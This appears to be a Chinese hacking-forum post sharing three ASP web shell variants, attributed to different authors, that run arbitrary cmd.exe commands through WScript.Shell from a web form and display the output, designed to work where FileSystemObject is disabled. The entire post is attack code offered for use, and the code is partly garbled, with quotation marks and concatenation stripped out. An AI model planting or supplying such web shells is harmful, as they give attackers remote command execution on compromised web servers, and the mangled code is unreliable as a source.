免FSO的CMD.ASP带回显

　　蓝屏的原码在这儿：
免FSO的CMD.ASP带回显
<%@codepage=936%><%OnError Resume Next
if Request(ad)<> then response.status=401 not Authorized
Set z=Server.CreateObject(WSCRIPT.SHELL)
T=Server.mappath(lpyear(date)Session.SessionID.txt)
sz=Request(Ck)
If sz=Then sz=set
z.Run %COMSPEC% /c^sz>T,0,True
Response.Write <FORM method=POST><input type=text name=Ck value=’sz’> <input type=submit value=Run> <input type=reset value=RESET> <input type=submit

　　name=ad title=PasswordWantted value=RunAsAdmin></FORM><br>执行了[sz]

　　 {临时文件}[T]<Iframe src=’lpyear(date)Session.SessionID.txt’ width=9

　　9% height=99% frameborder=0></iframe>
response.flush
for i=1 to 1800000
ys=9+9
next
z.run %COMSPEC% /c echo Y│del T,1,True
set z=Nothing%>

　　
lcx根据蓝屏的又改了一个，源码：

　　<%
Dim oScript
Dim szCMD, szTempFile ,del
Set oScript = Server.CreateObject(WSCRIPT.SHELL)
szCMD = Request.Form(.CMD)
del=Request.Form(del)
If (szCMD <> ) Then
szTempFile = d:lyear(date).txt
Call oScript.Run (cmd.exe /c echo NO FSO ASPMM V0.0 by
Call oScript.Run (cmd.exe /c szCMD > szTempFile, 0, True)
End If
If (del = DELtempfile) Then
Call oScript.Run( cmd.exe /c del szTempFile,0,True)
end if
%>
<FORM method=POST>
<input type=text name=.CMD size=45 >
<input type=submit value=Run> <input type=submit value=DELtempfile name=del>
<%
Response.Write <Iframe src=’d:lyear(date).txt’ width=99% height=99%

　　frameborder=0></iframe> %>
set oScrip=Nothing
%>
</form>

　　
不用这么麻烦吧。瞧zzzevazzz的：

　　<form method=post>
<input type=text name=cmd size=60>
<input type=submit value=run></form>
<textarea readonly cols=80 rows=20>
<%response.write server.createobject(wscript.shell).exec(cmd.exe /c

　　request.form(cmd)).stdout.readall%>
</textarea>